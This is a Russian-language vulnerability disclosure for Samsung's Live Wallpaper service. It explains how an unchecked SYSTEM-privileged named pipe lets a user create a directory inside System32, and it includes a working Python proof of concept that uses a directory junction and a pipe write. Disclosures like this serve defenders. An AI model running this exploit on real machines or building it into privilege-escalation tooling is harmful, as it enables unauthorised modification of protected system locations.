
Ненадлежащий контроль доступа в LiveWallpaperService до версий 3.0.9.0 позволяет создать определённую именованную системную директорию без соответствующих разрешений.
Протестированная версия Windows: Windows 10 20H2 (сборка 19042.1348) 64bit
Версия Live Wallpaper: 3.0.9.0 или более ранняя
В ноутбуках Samsung по умолчанию работает LiveWallpaperService, в котором была обнаружена уязвимость, позволяющая создавать каталог SYSTEM в директории с привилегиями SYSTEM в системной службе.
Live Wallpaper обычно устанавливается по умолчанию на ноутбуках Samsung, но также доступен в Microsoft Store. Приложение может запускаться с правами пользователя и взаимодействует между сервером и клиентом через именованный канал (Named PIPE IPC). При этом сервер PIPE работает с привилегиями SYSTEM и не проверяет, какие клиенты к нему подключаются.
Ниже описан процесс работы при запуске соответствующего приложения.
При получении сервером строки в юникоде '33;' он обращается к папке 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' и проверяет наличие каталога LiveWallpaperData. В этой директории создается новый каталог файловой системы с именем 'LiveWallpaperData'.
Именованный канал (Named PIPE) используется для взаимодействия между процессами. Поскольку отсутствует отдельная проверка клиента, злоумышленник может напрямую открыть его и отправить желаемые данные.
Сначала, напрямую открыв Named PIPE, создайте точку соединения каталога к C:\Windows\System32 с помощью symboliclink-testing-tools, созданных james forshaw. Она создается как подкаталог директории System32 с соответствующими привилегиями.
Вот PoC для этой уязвимости.
Для выполнения PoC должны быть соблюдены следующие условия:
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()